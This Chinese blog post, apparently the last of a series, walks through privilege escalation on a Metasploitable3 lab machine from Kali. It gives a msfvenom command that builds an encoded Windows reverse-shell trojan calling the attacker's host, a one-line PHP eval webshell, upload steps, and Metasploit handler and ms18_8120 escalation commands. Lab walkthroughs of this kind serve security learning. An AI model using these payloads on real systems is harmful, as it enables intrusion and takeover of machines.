Metasploitable3 WEB服务渗透示例(下)
首、前言
关键字:Metasploit、Metasploitable3、KALI、渗透、暴力破解、反弹SHELL;
在前篇"Metasploitable3 WORDPRESS服务渗透示例(中)"中,我们利用"反向SHELL",已经获取到一定的系统权限了,但是,"提权"为系统级的管理员权限才是渗透的最终目标~同时,在博主尝试整个提权的过程并不顺利,这其实与实际渗透某个互联网服务很像,事情永远不会那么简单;实际上,到目前为止,整个过程实在是太顺利了,能遇到一些问题,实际上挺好的~
快速跳转
Metasploitable3 WORDPRESS服务渗透示例(上)
Metasploitable3 WORDPRESS服务渗透示例(中)
Metasploitable3 WORDPRESS服务渗透示例(下)
一、坑
在上一篇博文中,我们基于对WORDPRESS的渗透,已经获取到目标服务"192.168.100.62"的部分操作系统层级的权限了,但还没获取到目标操作系统的最高权限;
在整个渗透中,当我们从获取到了系统的有限权限,再到系统的完全管理权限,这一个过程被称为"提权";一个比较简单的有代表性的"提权",就是LINUX系统的"sudo"命令了["sudo"属于"临时提权"];又或者LINUX操作系统上的一个普通用户"edward",通过某些系统上已存在的漏洞,通过技术手段,获取了本应不属于它本身ROOT权限,这也是一个"提权";
"提权"可以是一个简单的过程,也可以十分复杂;这一节为什么叫"坑"?这也是由于这一点命名的!!!如果基于METASPLOIT渗透框架的"meterpreter"的SHLLL环境中命令能够正确运行的话,"提权"本应该是一件很简单的事;这引出了第一个坑:
坑1:在"meterpreter"的SHLLL环境的命令中,有一个名为"getsystem"命令,这个命令能简单的帮助你进行"系统提权"[博主暂时未理清此命令能成功触发的必要条件是什么],可惜这个命令无法正确运行!
由于"meterpreter"的"getsystem"命令无法使用,于是博客很自然想到使用METASPLOIT渗透框架中的一些基于WINDOWS的提权模块,最后博主找到了一个具有可能性的模块"exploit/windows/local/ms18_8120_win32k_privesc",至此,引出第二个坑:
坑2:基于PHP的"meterpreter"WEBSHELL功能上不支持引入"exploit/windows/local/ms18_8120_win32k_privesc"这一模块的执行,"提权"攻击无法实现;
好吧~即然基于PHP的"meterpreter"WEBSHELL功能不足,那此时博主的想法,直接生成一个"X86/X64"CPU架构的,基于WINDOW的木马去实现完整的"meterpreter"的功能,那么此时,博主需要做的是,生成一个新的木马、上传到目标主机并在目标主机上运行这个木马;至此,引出第三个坑:
坑3:基于PHP的"meterpreter"WEBSHELL由于BUG/功能不足,甚至无法启动目标服务上的SHELL环境[CMD],这也就造成了博主无法实现"在目标主机上运行这个木马"!!!["meterpreter"中有一个"shell"命令用于运行目标系统上的SHELL环境];
至此,博主发现了一个问题,如果继续使用METASPLOIT渗透框架,基于博主现在对METASPLOIT的理解,这可能是一个无法解决的问题,于是,博主搜索了额外的解决方案,最终,博主在使用了中国的开源项目"蚁剑",解决了"在目标主机上运行这个木马"的问题~~
二、解决方案
整个"提权"的过程并不顺利,见上而的坑,这是一个被整理过的过程!
由于"坑2"{基于PHP的meterpreter"WEBSHELL功能上不支持引入"exploit/windows/local/ms18_8120_win32k_privesc"这一模块的执行},我们需要一个完整功能的"meterpreter",这需要新建一个木马,见下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
# 192.168.100.95 # 进入KALI # 生成一个"X86/X64"CPU架构的,基于WINDOW的木马 # 使"meterpreter"具有完整的功能 $ cd /root $ msfvenom -a x86 --platform windows \ -p windows/meterpreter/reverse_tcp LHOST=192.168.100.95 LPORT=4444 \ -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe \ -o /root/venom.exe # -a :CPU架构 # --platform :操作系统平台 # -p :定义PAYLOAD # -b :禁用指定字符 # -e :定义编码器 # -i :重复编码混淆次数 # -f :输出文件格式化 |
由于"坑3"{基于PHP的"meterpreter"WEBSHELL由于BUG/功能不足,甚至无法启动目标服务上的SHELL环境[CMD]},我们需要一个另一个能在目标上正确运行CMD环境的反向SHELL,本处使用的是蚁剑,先生成一句话的反弹SHELL,见下:
1 2 3 4 5 6 |
# 192.168.100.95 # 进入KALI # 这是"蚁剑"工具的反向SHELL基本代码格式 $ cd /root $ echo -e "<?php eval(\$_POST['ant']); ?>" > ant.php |
将"venom.exe"与"ant.php"上传至目标,这需要用到上一篇博文中已成功的反向SHELL"http://192.168.100.62:8585/wordpress/shell.php":
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
# 192.168.100.95 # 进入KALI # 进入MFS的SHELL环境 $ msfconsole # 在MFS的SHELL环境中加载指定模块、设定并启动一个监听服务区 # 以下操作按顺序为: # 1、加载"exploit/multi/handler"模块 # 2、设定所使用的PAYLOAD[需要和生成WEBSHELL所使用的PAYLOAD相同] # 3、设定本地监听的IP地址 # 4、设定本志监听所使用端口 > use exploit/multi/handler > set payload php/meterpreter/reverse_tcp > set LHOST 192.168.100.95 > set LPORT 4444 > run |
使用浏览器去访问"shell.php",访问"http://192.168.100.62:8585/wordpress/shell.php",然后在"反弹SHELL"中执行以下命令上传木马;
1 2 3 4 5 6 |
meterpreter > lcd /root meterpreter > cd C:\\wamp\\www\\wordpress meterpreter > upload venom.exe meterpreter > upload ant.php meterpreter > exit # 上传完成可以退出"meterpreter"的SHELL环境了 |
二、提权
现在,博主重新生成了两个木马并上传,用于解决上面说到的三个坑;现在开始"提权";
首先,起动一个新监听服务用于接收"venom.exe"的反弹SHELL,注意:"venom.exe"使用的定义的端口是4444:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
# 192.168.100.95 # 进入KALI # 进入MFS的SHELL环境 $ msfconsole # 在MFS的SHELL环境中加载指定模块、设定并启动一个监听服务区 # 以下操作按顺序为: # 1、加载"exploit/multi/handler"模块 # 2、设定所使用的PAYLOAD[需要和生成WEBSHELL所使用的PAYLOAD相同] # 3、设定本地监听的IP地址 # 4、设定本志监听所使用端口 > use exploit/multi/handler > set payload windows/meterpreter/reverse_tcp > set LHOST 192.168.100.95 > set LPORT 4444 > run |
使用"蚁剑"连接"ant.php",并在目标服务器上运行"venom.exe",过程以见图示:
1 2 3 |
# 蚁剑下载见 # GITHUB :https://github.com/AntSwordProject/antSword # GITHUB :https://github.com/AntSwordProject/AntSword-Loader |
1、新建立连接
2、启用虚拟终端
3、执行"start venom.exe",没错,我们使用"蚁剑"仅仅只为执行这一个命令;
4、查询命令执行结果[成功接收到由"venom.exe"发现的反弹SHELL]
现在开始使用"exploit/windows/local/ms18_8120_win32k_privesc"模块进行提权;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
# 192.168.100.95 # 进入KALI # 使用"meterpreter"的SHELL环境 # 以下操作按顺序为: # 1、仅用于查询当前的权限 # 2、将本次"meterpreter"会话设为后台运行[请记住SESSION的ID] meterpreter > getuid meterpreter > bg # 由于"meterpreter"会话设为后台运行,所以会返回至MFS的SHELL环境 # 以下操作按顺序为: # 1、加载"exploit/windows/local/ms18_8120_win32k_privesc"模块 # 2、设定所使用的PAYLOAD[需要和生成WEBSHELL所使用的PAYLOAD相同] # 3、设定本地监听的IP地址 # 4、设定本志监听所使用端口 # 5、设定应该在那个SESSION上使用 # [本处假设执行"meterpreter > bg"操作后返回的SESSION ID为"3"] # 6、开始使用"exploit/windows/local/ms18_8120_win32k_privesc"模块进行提权 > use exploit/windows/local/ms18_8120_win32k_privesc > set payload windows/meterpreter/reverse_tcp > set LHOST 192.168.100.95 > set LPORT 4444 > set session 3 > run |
经过一段较长时间的等待后,会返回一个全新的"meterpreter"SHELL;输入命令"getuid",你可以发现现在你已经拥有了系统的最高管理权限了;
1 2 3 4 |
# 在新的"meterpreter"的SHELL环境下 # # 查询当前的权限 meterpreter > getuid |
至此,你已经拥有了目标操作系统的管理员权限了,这一般是渗透的最终目标了,一个完整的渗透过程就此完成;另外,提示:当这个会话断开连接,相关管理员的权限会丢失,需要重做以上步骤获取管理员权限……
三、结
好不容易,终于把这个系列写完了,整个模拟渗透的过程的东西实在有点多;如果你仔细看了所有流程,你会发现从开始信息收集至最终获取整个服务器的最高权限,这一整个过程是可以"优化"的,例如:从WEBSHELL部分,直接使用"蚁剑"做WEBSHELL而不是使用基于METASPLOIT渗透框架中的"meterpreter",而直至最后"提权"部分才使用METASPLOIT渗透框架!虽然这么说,但实际上这种"优化"是很难做到的,实际中,你很难预计到在本次的渗透过程中,那些工具会失效;在渗透过程中,由于工具失效而寻找额外的解决方案,这也是渗透过程的一环;所以,博主并没有"优化"掉此类过程……
好吧,写完了就好,还说什么废话呢,完~
大佬我学习做渗透测试苦于没有Metasploitable3环境国内下载不到镜像,你可以分享一下吗,谢谢
2022-09-10 下午4:31这个没办法,Metasploitable3官方就没有提供模拟镜像;你可以玩Metasploitable2,官方直接有提供VM镜像;Metasploitable3环境部署非常麻烦,必须"VirutalBox + Vagrant"[Vagrant是类似DOCKER的技术],由于Vagrant的网络模拟是基于VBOX,所以部署一个好用的环境非常麻烦;你可以直接安装KALI,入面可以安装Metasploitable3环境......
2022-09-12 下午8:13